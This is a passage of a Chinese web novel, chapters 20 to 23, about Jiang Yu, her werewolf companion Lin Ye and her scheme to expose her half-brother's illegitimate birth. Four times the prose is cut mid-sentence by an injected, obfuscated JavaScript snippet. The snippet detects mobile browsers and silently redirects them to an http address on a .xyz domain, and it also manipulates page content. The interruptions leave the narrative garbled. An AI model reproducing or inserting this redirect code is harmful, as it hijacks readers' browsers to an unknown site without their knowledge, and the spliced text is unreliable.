姜家的车到了,姜榆拿开他的手,柔声道:“嗯,车来了,天川,我过去了。” 易天川说:“好。” 司机把箱子放好,姜榆坐上后座。 天还没亮,因为是紧急停靠,所以下船的地方并不是出发的地方,今晚姜榆只能住酒店。 连续两天都睡得不好,进了房间,她先舒舒服服地洗了个澡,接着出来一沾床就睡了过去,直到第二天中午才醒来。 昨晚睡着时没来得及从头上取下的毛巾掉到了地上,她没多想,权当自己睡梦中随手扔的。 姜山给她发来消息,让她不用急着回家,可以在外面散散心,姜榆直接打电话回去,是管家接的。 “先生?先生和少爷出国了,要过几天才能回来,您可以直接打先生的电话。” 果然,她就说姜山怎么会这么好心让她一个人呆着,原来是那父子俩又快乐出游了,怕她回去闹事影响心情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853984|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜山的偏心从姜启瑞回来五年后才逐渐显露,一开始只体现在吃穿用度上,姜启瑞用的东西总会比她好一些,到了后来,生活里的方方面面都能看到他的偏心。 有一次,因为姜榆有课外班要上,姜山就只带了姜启瑞出门旅游,还让所有人都瞒着她。 姜榆知道后大闹了一场,那时候她还是个渴望父爱的小孩,虽然已经感受到了姜山的偏心,但还是不死心地哭诉:“为什么不等我?为什么只带弟弟,我哪里做错了吗?” 她以为这样就能换来父亲的关心。 姜启瑞躲在姜山背后对她做鬼脸,模仿她的哭腔:“我~哪里~做错了吗~” 姜榆不哭了,她抹掉眼泪,冲过去踹他,姜启瑞比她年纪小,被这全力一脚踹得半天起不来,趴在地上哇哇大哭。 后来他在医院躺了一周。 那是她第一次也是唯一一次打姜启瑞,之后就再也没机会了。 姜榆不屑冷笑,她已经不是小孩了,现在这种事根本刺激不到她。 更何况,每次这种时候姜山都会因为愧疚给她打好多钱,谁会嫌钱多。 晚上的时候,她找工作人员要了张纸写写画画,完成后自我欣赏了一番,才打开手机地图,搜索最近的饰品店,打车过去。 老板是个年轻女孩,见到她眼睛一亮,连忙起身相迎:“这位小姐,看看需要些什么?” “我在网上看到你这里可以定制项链?”姜榆问。 “对,只要不是特别复杂的样式,我们这边都可以做,您是有定制需求吗?” 姜榆从包里拿出一张纸递给她:“这个你看看,最快多久能做好?” “嗯……这个比较简单,最快明天中午就能做好,不过得额外收点加急费。” “没问题,”姜榆大方答应,“你说个价,我给你。” 从饰品店离开,她没有到处逛,外面天气太热,出门就要出一身汗,还不如呆在酒店里。 夜里她早早入睡,第二天一吃完饭就去了饰品店。 老板从她这赚了不少,满心欢喜地把做好的项链递给她:“有需要您再来啊,我这随时欢迎。” 姜榆客气地点头,今天她没急着回,逛了一下午商场,直到天色变暗,她才提着大包小包回到酒店。 东西都没拆封,整齐地码在桌子上,她打开窗户,开始呼唤:“临野?” 没有人回应。 “临野?” “临野?” 难道离得太远不起效? 姜榆找了个尖锐的东西,准备在胳膊上弄出个小口子。 既然他们绑定生命,流血也算吧,她要试试能不能把他叫过来。 手刚抬起来,还没碰到胳膊,身后传来一个声音:“你在干什么?” 姜榆惊喜转身:“你来啦。” 20. 项链 才过去一天,临野嘴唇上的伤口就已经看不出来痕迹了,姜榆对他的恢复能力再次有了新的认知。 “坐。”她打招呼,自己转身从一堆购物袋里掏东西。 临野问:“你刚才在干什么?” “我试试出点血能不能叫到你。” 今天买的东西太多,想找个东西都格外麻烦,姜榆一个个袋子翻过去,翻得她头疼。 “谁告诉你的?” 终于找到了要拿的东西,她转过身把它藏在身后:“就是因为没人告诉我,我才要尝试啊。” “不用试了,没有用,”临野站起身,面无表情道,“我感受不到你的疼痛,也感应不到你的位置,听不到你的声音,更不可能瞬移过来,最多在你死了的那刻跟着一块死。” 说得好像什么生死相随的虐恋戏码一样。 姜榆把他这段话当耳旁风,丝毫不进大脑。 “还有,以后不要喊我,就算绑定了契约,我也不会当你的奴从,不会做你要求的事。” 看来他才对契约这件事有了实感,正迫不及待地要跟她划清界限。 姜榆撇撇嘴,不喊他是不可能的,不然她费这么大力气在干什么。 “听到了吗?如果你做不到,我现在就能和你同归于尽……” 反正他说的一个都做不到,姜榆直接打断:“看,送给你的!” 她伸出手,中指上挂了个银质项链,坠在下方悬荡着的是……他的狼牙。 牙的上端有狼头形状的银包裹着,除了这个,项链上还坠着一个小金属牌,优秀的动态视力让临野看清楚上面刻了个卡通版的狼,右下角写着“JY”的字母。 他皱起眉头,她把他当什么了,狗吗?还要戴狗牌? “好看吗?不是说这颗狼牙是唯一能证明你身份的东西吗,反正我也用不上,就还给你吧。” 姜榆对自己的设计很自信,但等了片刻也没等到对面人的答复,她自顾自地走过去。 “我帮你戴。” 临野太高了,她踮起脚尖,伸长手臂也戴得艰难,这时面前的人突然降低了些高度,姜榆轻笑,顺利给他戴上。 吊坠垂落在他胸口处,在灯光的照射下闪闪发光。 “果然好看,”姜榆绕到他身前欣赏。 临野眉头皱得更紧,他抬手握住项链,似乎想扯下来,姜榆连忙伸手制止:“别,这个东西这么重要,做成项链戴在身上才不容易丢,你就好好戴着吧。” “我不……” 姜榆不听他的拒绝,转身把剩下的购物袋一鼓作气提过来。 “还有这些,都是给你买的,你看看合适吗?” “衣服我都按照最大尺码买的,要是还不够长就告诉我。” “手机你应该会用吧,以后我们就用这个联系。” “我在隔壁又开了间房,这几天你就睡那吧,给,房卡。” “对了,这个手机的支付软件里有钱,可以直接用。” 既然临野以后要帮她做事,那福利一定要给够,光靠威胁是不行的,姜榆很有养人的自觉,把他从上到下,从里到外都包圆了,她自认为没有哪个金主能有她一半贴心。 “就这么多了,你还有什么要补充的吗?” 临野双手提着满满当当的购物袋,脖子上戴着项链,口袋里装着手机和房卡,被她这一通操作弄得晃了神,呆在原地没有回答。 “行,既然你没有要补充的东西,”姜榆伸出手,“那希望我们以后……” 她想起来临野根本没有空闲的手,便改为拍拍他的肩膀。 “合作愉快!” 十分钟后,姜榆隔壁房间里,购物袋摆在桌子上,临野坐在旁边的椅子上,手里摩挲着项链,上面似乎还有姜榆的温度。 他有些不理解,还有些……不知所措。 随便打开一个袋子,里面还有购物小票,上面标着衣服的价格,是个不小的数字。 临野没继续翻下去,他拿出手机。 因为过去没有需要联系的人,所以他不常用手机,翻看了一会还没看出什么名堂,屏幕上方突然弹出消息,他下意识点开。 【对了,这个是我的号码,不要记错啦。】 他看了会,没有回复。 第二天到了吃饭的时间,姜榆没叫外卖,拉着临野去当地一家特色饭馆吃。 这是她在网上挑得好评最多的店。 可惜这家店大概率是把钱都用在营销上了,没请好厨师,明明用的都是上好的食材,但做出来的菜还不如路边随便一家店。 姜榆只吃了几口就放下筷子,她抬头,临野神色自然,还在继续吃。 他似乎对食物不怎么挑剔,标准是能入口就行,姜榆咂舌。 难怪他能长这么高。 临野今天穿上了昨天买的衣服,跟个模特似的,在街上引得不少人侧目。 金黄色瞳孔太显眼,所以出门前,他特意把瞳孔弄成了黑色,姜榆上次就好奇,这次便凑近了观察,终于发现他是戴了美瞳遮掩。 她想象着临野一个人买美瞳的样子,他没有手机,所以肯定是去线下买,在店员的介绍下买了一堆。 回家后也是自己对着镜子戴美瞳,说不定第一次戴时还会因为眼睛受到刺激而流下生理性眼泪。 他这么厉害的人也会有那种笨手笨脚的时候吗? 姜榆想着想着,竟觉得有种诡异的萌感。 “你在笑什么?”临野打断她的思绪。 “没,没什么,”她怕被追问,连忙转移话题,“你这样四处走动,会被其他猎人注意到吗?” “不会,他们做那行能感觉出来。” “哦。”姜榆点点头。 换句话说就是,其他猎人一眼就能看出来,他是有主人的。 有主人的…… 临野又问:“这次又在笑什么?” “有吗?”姜榆按住自己的嘴角,“没有吧。” 最后这段饭以临野受不了她的注视而匆匆结束,饭后,姜榆带着他去了一个地方。 这是个小型展览,展出的都是些普通昆虫和常见小型动物的标本,姜榆偶然间在网上发现了这个地方,就想来看看。 脱离姜家后她就需要自己谋生了,但对于未来能做什么,该做什么,她还有些迷茫。 每个豪门的标配似乎都是送子女去学金融商业,就算他们未来都不一定能继承家业,姜榆也一样,她可以凭借这个能力去公司上班,但是好不容易才从一个压抑的地方跳出来,她不想再去另一个压抑的地方了。 展览的举办方是一间标本工作室,姜榆喜欢制作标本,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869822|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个行业也充满兴趣,便打算来此取取经,为未来做准备。 负责人热情地接待了他们:“可以随意参观,如果有看上的标本直接和我说就行。” 姜榆来之前已经了解了一些,这会儿便问她:“你们只卖这些小标本吗?有没有大一点的。” “是这样的,大型动物的标本我们自己是不做的,因为没有来源。如果客户提供动物尸体并证明来源合法,我们就可以为他将这个动物制成标本,做好后直接交还给客户,不会拿出来展览,也不会售卖。” 姜榆点点头,看来标本工作室的经济来源大致分为两种:小标本的公开售卖、客户定制需求。 负责人问:“您这边是有相关需求吗?” “暂时没有,我想先了解一下。” “行,”负责人很和善,“那您先四处看看,我还有点事,先离开下。” 姜榆又转了转,对标本定价和营销有了基础了解。 准备离开时,她突然看到一个甲虫标本,旁边的牌子上写着“彩虹锹甲”。 姜榆被吸引过去。 其实近看就是只漆黑的虫,平平无奇,但在灯光的照耀下,它的甲壳上闪出迷离的虹彩,蓝色、绿色、紫色的金属光泽在弧面上交织变幻,完全就是五彩斑斓的黑,映照了它名字里的彩虹。 做它的人留下了它威吓的姿势:前肢微微抬起,鞘翅张开一条缝隙,露出底下的膜翅,仿佛随时会振翅飞起。 这栩栩如生的样子让姜榆看得出神,不由自主地伸出手去。 临野突然出声:“它已经死了。” “话是这么说的,”姜榆隔着玻璃划出彩虹锹甲的轮廓,“但你不觉得它逼真得好像还活着一样吗?” 临野否定:“死了就是死了,做得再像活的也是死了。” “不,它在用另一种方式活着,”姜榆转头看他,“今天我看到了它、记住了它,你也一样。除了我们,说不定还有许多来参观的人都见证了它的美丽,记住了它最后的样子,这怎么不是另一种永生?” “那把所有生物做成标本,就实现全民永生了?” “倒也不用这么极端,”姜榆说,“你需要做的应该是多和别人来往,这样死后,只要有一个人还记得你,还纪念你,那就不算真正的死亡。” 什么叫他需要做的…… 临野冷漠地拒绝:“和人类多来往,还不如死了。” 姜榆:“……” 这场辩论无疾而终,她最后买下了彩虹锹甲标本离开展馆。 刚回到酒店姜榆就觉得身体不对劲,下面一阵暖流……她冲到卫生间去,果然是来月经了。 马桶旁有酒店常备的卫生巾,她换好后无力地躺到床上。 姜榆很瘦,所以不仅月经周期紊乱,每次还痛得死去活来,必须吃止痛药才能熬过去,但酒店没有准备止痛药。 小腹已经开始隐隐作痛,她打电话给临野:“可以帮我去楼下买个药吗?” 怕他没买过,姜榆还特意把药名用信息的方式给他发了一遍,并嘱咐:“直接告诉店员,让他拿就行。” 挂断不到三分钟门就被敲响,她缓慢挪过去,打开门。 临野拿着药站在门口,看到姜榆后,他鼻翼微动,瞳孔变得细长。 他问:“你受伤了?” 21. 回姜家 狼人没有月经,临野的养母收养他时已到中年,也没有月经,所以临野对月经这个概念完全陌生,血的味道只会让他联想到受伤。 他们俩只不过才分开一会,她就受伤了? “谁干的?”临野问。 姜榆没回答,这次痛经来势汹汹,她只想尽快吃止痛药,她二话不说夺过临野手中的药,转身回房间找水。 临野跟着她进来了,她喝药的时候,他就在每个房间进行探查,有点像警犬。 他没找到人,便问姜榆:“谁伤的你?跑了?” “没有人,”姜榆虚弱地开口,“是月经。” 她喝完药蜷缩在床上,试图缓解痛经。 临野问:“月经?什么是月经?” 一阵剧烈的疼痛袭来,肚子仿佛在被用锤子重重地砸,小腹冰凉坠坠地疼,姜榆疼得说不出话,咬牙切齿地忍着,浑身直冒冷汗。 止痛药生效还要半小时,她吃药吃晚了,至少还要再痛半小时。 临野走到床前,他不知道怎么了,也不知道该做什么,只好沉默地看着她。 好不容易这阵疼痛过去,姜榆才有力气回答:“自己去手机上查。” “哦,”临野蹲坐下来,平视她,突然问,“这个月经,会死吗?” 姜榆痛得怒吼:“我现在就要死了!!” 阵痛再次袭来,她在床上翻来覆去,想找到个能轻松点的姿势,可小怎么都找不到。慢慢地,她开始听不到外界的声音,大脑一片空白,耳边只剩下嗡鸣。疼痛引起胃部痉挛,胃一抽一抽的,姜榆咽下酸水,强忍呕吐感。 她催眠自己:其实一点都不疼,一点都不疼,睡吧,睡醒来就好了。 迷蒙间,有人把手放在她冰凉的小腹上轻轻按揉,姜榆被热气熏得舒服,疼痛也渐渐减轻。 也许是她的心理暗示起了效,也许是止痛药发挥作用,在这轻柔的按摩下,她彻底睡了过去。 再醒来时疼痛已经完全消失,姜榆长舒一口气,她还裹在被子里,被热得浑身都是汗,她想掀开被子散热,一动才发现小腹上有一只手,不仅如此,身后还有一个热源。 男人的体温隔着两层衣服透到她身上,暖洋洋的,有点像电暖器。 原来她昏睡的时候临野一直在帮她暖肚子,他的体温高,再合适不过。 平稳的呼吸声从头顶传来,临野显然也睡着了,姜榆轻轻坐起来,动作却还是弄醒了他。 “醒了?”临野松开手,翻身平躺在床上,他闭着眼,看上去很平静。 “嗯。” 虽然已经同床共枕过几次了,此刻姜榆心里却有种奇怪又陌生的感觉,她下床,想要逃离这不知名的感觉。 临野又睡了,房间里安静下来。 这么折腾一通,已经到了晚上十点,痛经消耗了太多体力,姜榆肚子饿得咕咕叫,她拿起手机准备点些外卖,一解锁印入眼帘的却是陌生的搜索界面。 搜索框里写着:痛经怎么按揉。 姜榆奇怪,她什么时候搜过这个东西? 她想关闭界面,结果不小心触碰到搜索框的清除按钮,搜索内容消失后,框下面突然多出来一长条搜索记录。 里面有月经、月经痛、痛经会死人吗、缓解痛经等内容,她这才反应过来,这是临野的手机。 她买手机的时候图方便,直接给他选的自己正在用的款式,两人的手机都没有手机壳,都用的默认壁纸和桌面且没有密码,不怪她会认错。 姜榆怔愣住,刚才那种陌生的感觉又回来了。所以临野恶补了一通月经相关知识,才会去给她按摩? 她呆了许久,心情复杂地把手机放回原处。 外卖到的时候临野才起来,两人沉默着吃饭,照例是姜榆先吃完。 她放下筷子,深吸了口,真诚道谢:“谢谢你。” 临野动作一顿,好一会儿才神色古怪地说:“不需要。” “那我们现在算是朋友了吗?” “没有人会和一个怪物做朋友。” 他一边吃饭一边平静地说出自己是怪物的话,好像并没有因为人类给的这个身份而感到愤怒和不悦。 姜榆摇头,她还记着刚才临野帮她的样子:“其实你也没有看上去那么凶,虽然一直喊打喊杀的,但到现在我也没看到你真的杀谁。相反,你还帮了我好几次。” “对我来说,你不是怪物,是个好人。而且——” “砰”的一声,临野猛地拍下筷子,打断了她准备继续说的话。 “信不信我现在就能杀了你?”一种难言的羞耻感激怒了他。 姜榆抬起头露出纤细的脖子,虽然没有说话,但表情明晃晃地写着:你来啊。 “你以为我不敢吗?”临野伸手搭在她的脖子上。 这个女人一再得寸进尺,疯狂试探他的底线,从船上到现在,不停地用花言巧语迷惑他的心,他不能再…… 姜榆突然起身,顶着他的手凑近,柔软的触感印在唇角,铺天盖地的香甜气息淹没了临野,刚才想的什么都不记得了,他被烫到般收回手,推开她。 门被重重地关上,房间里只剩下姜榆一人,她露出笑容,觉得自己好像找到了让临野听话的方法。 桌子上的菜还剩了大半,她突然又来了胃口,慢条斯理地继续吃起来。 手机响了一声,姜榆拿起来查看,这次没拿错,是她的手机,屏幕上是姜山发来的消息。 【给你买了后天的机票。】 姜榆回他:【嗯,知道了。】 回程日期已定,她用自己以前攒的钱给临野也买了机票。 本来她还为此发愁,结果发现临野有身份证,她这才想起来他曾经有过养母,有合法信息也是正常。 搞定一切后,临野那边却出了岔子,他不肯接受她的安排,姜榆贴近他,故作可怜:“可是姜家很危险,万一我出事了……” 临野猛地后退一步,偏头躲开她的视线,最后还是答应了。 飞机起飞,姜榆看着窗外的云层,还有些怅然,短暂的放风时间结束,她又要回到姜家去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881606|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上学时,她的生活还算有些盼头,尽管每天看到的都是熟悉的同学老师,她也能找到他们身上和昨天不一样的地方。 前桌换了新的发卡,她的同桌看她看得目不转睛,显然是心动了;角落里那个循规蹈矩、存在感很低的女生今天迟到了,而总是凶巴巴不留情面的纪律委员却放过了她;向来打扮精致的英语老师今天没有搭配好鞋子,所以一直现在讲台上不肯下来走动。 比起学校里,姜家的每个人都戴着面具生活,每天重复着一样的工作和内容。对姜榆来说,在这样枯燥、死板却又不得不融入的家里生活,学校是唯一能给她带来新鲜感、让她觉得生活还是有意思的地方了。 去国外上学后,姜榆依旧住在被安排好的公寓,有专人监视她的生活,但她依旧觉得比在姜家过得自在。 那段时间里,姜山对她的要求是:不谈恋爱,不乱搞男女关系,不染上某些坏习惯,时刻保持身材苗条纤细,时刻记得优雅和教养,以优异成绩毕业。 虽然听着不算特别过分,但其实隐藏了许多不能做的事,比如演唱会不能看,原因是怕她情绪上头,在那么多人面前失态。再比如旅行也是不被允许的,因为很难时时确认她的状态。 姜榆小心地遵守着这份规定,有时候她自己都不知道为什么要这么听话,就好像是从小被关在笼子里的猴子,长大后哪怕笼子开着,它也会选择呆在笼子里不出去。 虽说规定颇多,但姜榆在学习之余还是可以做些别的事,制作标本这个爱好就是在那个时候培养的。 毕业后她回了国,姜山不允许她出去上班,而是要求她按照“日程”生活。 她的日程是:每天七点起床,在专业训练师的指导下进行晨练,吃营养早餐,早饭后在花园里散步小坐。 中午十二点吃营养午餐,饭后进行半小时午休,醒来后做美容或和别的富家名媛喝下午茶,听她们聊名牌包首饰,豪门明星八卦等内容。 晚餐也是营养餐,饭后接着做保养或运动或看书,到了十点准时入睡。 如果晚上有晚宴或派对的话,她就会在午休结束后开始准备晚上出行的着装和妆容,直到宴会结束才会回家休息。 这就是她日复一日的枯燥生活。 那段时间姜山耐心地带着她参加一场又一场宴会,认识许许多多的有钱人,姜榆只当他想借联姻攀上一个更富贵的家族。 她心无波澜,早已把这当作自己的命运,所以不曾反抗。 某次宴会上,易天川对姜榆一见钟情,展开了猛烈的追求,一周后,她在姜山的肯定下答应了他,他欣喜若狂。 本来姜榆的未来到这里就定好型了,可是她意外知道了姜家曾放出去的传闻,知道了母亲去世的真相,也知道了姜山打的主意。 原来并不是联姻这么简单,姜山贪婪无度,他不在乎姜榆的未来,他要的只有源源不断的利益。 但这一次,她不会再当那只永远被困在笼子里的猴子,她不仅要出去,还要把这笼子拆成废铁,狠狠地、砸碎姜家。 22. 私生子 姜榆把自己小家的地址和钥匙给了临野,她不知道他有没有固定住处,但示好总没有错。 下飞机后姜榆还给他安排了一个任务:找一个人。 她靠近临野,给了他一个拥抱:“我想早点脱离姜家,这件事对我来说真的很重要,帮帮我,好吗?” 临野犹豫了片刻,双手搂上她的腰,把她按向自己。 他体温一如既往的高,隔着衣服也能传到姜榆身上,被熟悉的味道完全包围,她没有挣扎,埋头在他胸膛上。 过了一会儿,她感觉临野也低下了头,侧靠在她的脑袋边上,呼吸声清晰可闻。 他们还在机场,这样子像一对要即将要分开的情侣,引得不少路人侧眼。 半晌,姜榆才听到他闷闷的声音:“信息给我。” 她不想再惹人注目,立刻松开他:“我只知道他的名字。” 其余的信息都不知道,但她相信临野有办法找到。 果然,他虽然皱了皱眉,但没有再多问。 他们在出机场之前分开走,临野自行离开,姜榆坐上姜家的车。 她回去的时候姜山父子已经吃完了饭,姜家吃饭定时定点,从来不会等人,不过也可能只是不等她。 姜榆回房间简单收拾了下,下楼准备吃她的单人餐,结果刚走了几步就碰上姜启瑞。 “躲到现在才回来,看来某人伤心得很。”他拦在楼梯中间。 姜榆看了他一眼:“让开。” 她现在很饿,没空和这个人斗嘴。 “生气了?”姜启瑞笑起来,他扶住栏杆,“不经意”地露出手腕的表,那是姜山刚给他买的,价格昂贵,是姜榆从来没得到过的待遇。 但姜榆不为所动:“再不让开的话,信不信我现在就把你踹下去。” “你敢!爸爸一定会惩罚你的!” 姜榆不理会他的小学生式斗嘴,抬起脚做预备动作。他们俩一人站在高处一人站在低处,虽然姜榆现在力量已经不如姜启瑞了,但高低差可以给她很大的助力,这一脚下去至少能让他摔个骨折。 “最后一遍,让开。” 姜启瑞大概是想起来了小时候的经历,僵着脸“嘁”了声,让开一个空隙,姜榆从他身边走过。 还没走下楼梯,他又开始在背后狗叫:“你知道我们这次去哪了吗?你不会以为只是单纯的旅游吧?我们这次可是去见刘总了,爸爸是带着我去谈生意。” 姜榆只是脚步一顿,继续往下走,姜启瑞跟上来持续在她耳边输出。 “不仅这次,上次、上上次都是这样。” “你知道爸爸为什么不带你吗?因为你是个女的,当不了姜家的继承人。” “继承人只会是我,也只能是我。” “等我上位后,就把你赶出去,你不配留在这里享受。” 姜榆突然停住,姜启瑞没刹住车,膝盖碰到桌沿,痛得他大叫:“哪来的破桌子,搬走!” 立刻有两人出现,把那张小茶几抬走。 姜榆扫了一眼他的手表,讥讽道:“你可能也不知道,你的表、你的钱、还有你未来要继承的家产都和你一样——来路不正,既然你这么稀罕,那就拿去吧,希望到时候你真的能坐上这个位置,继、承、人。” 说完,她头也不回地走进厨房。 “你、你……”姜启瑞脸上青一阵白一阵,他想追上去,但膝盖传来的疼痛让他只能停在原地:“人呢?看看我的伤!” 姜榆拦住正要送餐的人,端起盘子就地解决饭,隔着紧闭的厨房门,还能听到他的辱骂声,她忍不住笑起来。 姜启瑞暴躁易怒,尤其听不得别人说他是私生子,一听就气得跳脚,这么多年来,姜榆是唯一一个敢当着他的面这么说的人。 “姜榆,你完了,我要告诉爸爸,让他惩罚你!”他怒吼。 哦对,他还是个爸宝男,姜榆摇头轻笑,听着他气急败坏的声音,饭吃得更香了。 * 几天后,姜启瑞回到学校,为了这次出国他准备了许久,请假都请了两周,辅导员虽然不愿意,但碍于姜家的情面,还是给他准了假。 姜启瑞还是个大学生,再过一年就要毕业,他读完高中后不愿意和姜榆一样出国留学,用他的话来说就是:对他们这样的家庭来说,学历有什么用?还不如上个离家近的学校。 姜山为此没少和他生气吵架,那段时间整个姜家的人都小心翼翼,生怕惹怒谁。两人谁都不肯让步,最后姜山犟不过儿子,为他选择了一个本地的大学,离家近,只要他想,每天都可以回家。 姜启瑞偶尔还会拿这事和姜榆炫耀,以此证明姜山有多疼爱他。 在这所大学里,姜启瑞混得如鱼得水,因为他有钱又慷慨大方,所以很多人都愿意捧着他吹嘘他,这次回来后也不例外。 “哇,瑞哥,你朋友圈发的表是新买的吗?”课堂上,一个寸头男生坐在姜启瑞身边问他,看到这个朋友圈后,他特意从中排溜到后排来的。 “当然,”姜启瑞一只手转笔,“就这次出国,我爸刚给我买的。” 寸头男生看到了他手腕上的表,惊讶地凑近欣赏:“肯定不便宜吧。” 姜启瑞把表拆下来扔给他:“土鳖,自己去网上查价格吧。” 虽然是嫌弃的话,但语气里藏不住的开心,他喜欢被这样吹捧。 下课了,姜启瑞身边反而围上来一群人。 “瑞哥,这次又去哪了?” “瑞哥,有没有带什么好东西回来?” “瑞哥,你这鞋也好酷,新买的吗?” “行了行了,吵死了,”姜启瑞唇角轻扬,“群里发了红包,都去抢。对了,为了庆祝我回国,今晚我请客。” 他的请客基本上都是吃饭唱歌酒吧一条龙,人群爆发出欢呼声,姜启瑞被围着出了教室。 走到学院门口时,他发现有些不对劲,不断有路过的人看他一眼然后窃窃私语,更有甚者,明目张胆地偷拍他,拍完后手指就在屏幕上疯狂划动。 姜启瑞喜欢被吹捧,但不意味着喜欢被当成小丑围观,他黑了脸,径直走过去,把路人的手机抢来翻看。 手机还没熄屏,屏幕上是一个聊天界面。 【图片】【图片】 【这是告示栏上那个人吧,我没认错吧】 【没错,就是他,他居然没躲起来】 【他不会还不知道吧?】 【应该不会吧,都这么多人看见了】 后面没了,对话说的不明不白,姜启瑞阴沉着脸问:“什么告示栏?” “你这是抢劫,把我手机还我!”路人伸手要抢手机,被寸头男生拦住。 姜启瑞:“我再问一遍,什么告示栏?” 路人看着他不善的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890913|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情,又看了眼他身边围着的人,才察觉到这是尊不好惹的大佛,他咽了口口水:“就在综合楼外面的告示栏,上面贴了一些……关于你家里的事,我早上看到的,刚才发现已经被撕了……对了!我有照片,可以给你看。” 他拿过手机打开相册,翻了几张递给姜启瑞。 图片上是一张a4纸,看起来和一个普通的通知没什么区别,他放大看文字。 标题上写着:关于我校姜启瑞同学身份的说明。 正文详细地阐述了他妈的名字,他妈如何介入姜山的婚姻,何时诞下他,他怎么抛弃了他妈,又是如何被接回姜家的全过程,洋洋洒洒三千字,将他的身世揭露得一览无遗。 姜启瑞紧盯着手机的图片,双眼发红,手上青筋暴起,仿佛是被定身了一般。 路人被他这副模样吓到,立刻抢回自己的宝贝手机:“没、没别的事的话,我先走了。” 说完,他一溜烟跑掉,寸头男生小心翼翼地问:“……那我们还去吃饭吗?” “吃吃吃,吃你妈的吃,都给我滚!”姜启瑞一脚踹翻路边的垃圾桶,围着他的人一哄而散。 在寸头男生的劝说下,晚上姜启瑞还是来到了酒吧。 寸头男:“别气了瑞哥,都是些嫉妒你的小人,管他们干什么,反正最后姜家的继承人都是你。” 姜启瑞靠坐在沙发上,看着面前舞动的人群,笑道:“你说的对,都是些小人。” 下午他找到学校领导,要求查清楚是谁,可惜翻看了监控后,发现在最可疑的时间段里,摄像头被人遮住了,等再次出现景象时,那张纸就已经被贴在告示栏上了。 没有监控,也没有目击证人,综合楼前学生来来往往,查证太难,毕竟没有产生什么大问题,学校想不了了之,但姜启瑞绝对不会放过这个人。 等找到那个人,他就会让他知道惹他的下场。 姜启瑞拿起酒杯猛灌一口。 “呦,这不是我们学校的大红人吗?这么巧,你也在这?”一个高瘦男生路过,冲他挑挑眉。 姜启瑞沉着脸不说话。 男生叫尤文宣,和他同校,两人向来不对付,他看不起尤文宣的清高,尤文宣看不起他的自大。论家世,姜家不及尤家,所以他一直避让着尤文宣。 “怎么,红了就不认识我了?”尤文宣倒退回来,执意要看笑话似的,坐在他旁边,“喝一杯吧,认识认识,不过你的身世我今天倒是了解得很透彻了,我的身世……要不你去搜一下吧,和网页上的一样清白。” 跟他一起来的人发出嬉笑声,姜启瑞捏紧酒杯,咬着牙关忍耐。 他一直不回话,尤文宣觉得无趣,便带着人要走,走了两步后又想起什么似地回头:“对了,今天我请你,可不要再靠姐姐了,毕竟你们不是完全亲生的,万一再惹人嫌,以后不帮你了怎么办?” 姜启瑞一字一顿地说:“你、说、什、么?” “我说错了吗,你们家不就是靠你姐姐和易家联姻才撑到现在,这不是靠姐姐吗?” 姜启瑞一恨别人说他私生子,二恨别人说他靠姜榆,偏偏这人两个都说了。 他拎起酒瓶,二话不说冲上去砸在尤文宣脑袋上,周围爆发尖叫声。 “有本事你再说一遍?!” “你、你。”尤文宣还没说出什么话来,血流到脸上,他眼一闭,晕了过去。 23. 布局 “明天你和我去医院,向人家道歉!” “我不去!” “反了你!必须去!” 姜榆把卧室门开了条缝,静静听着楼下传来的动静,那对父子吵得不可开交,虽然不知道具体发生了什么事,但她也能猜个大概。 “要去你自己去,反正我不去!”姜启瑞冲上楼,进房间后重重地关上门,声音震耳欲聋。 姜山在客厅怒吼:“臭小子,明天起我就把你的卡停了!什么时候去道歉,什么时候给你恢复!” 姜榆把门关紧,看来她的第一步计划成功了。 姜山虽然贪婪,但性格谨慎,行事缜密,于是她选择从自大的姜启瑞身上下手。 四年前,姜启瑞还在读高中时,曾带着小跟班在学校霸凌过一个男生,男生最后自杀了。这件事没有闹大,毕竟每年毕业季因为压力太大跳楼的学生不少,学校就和姜家一起把这个新闻压了下去。 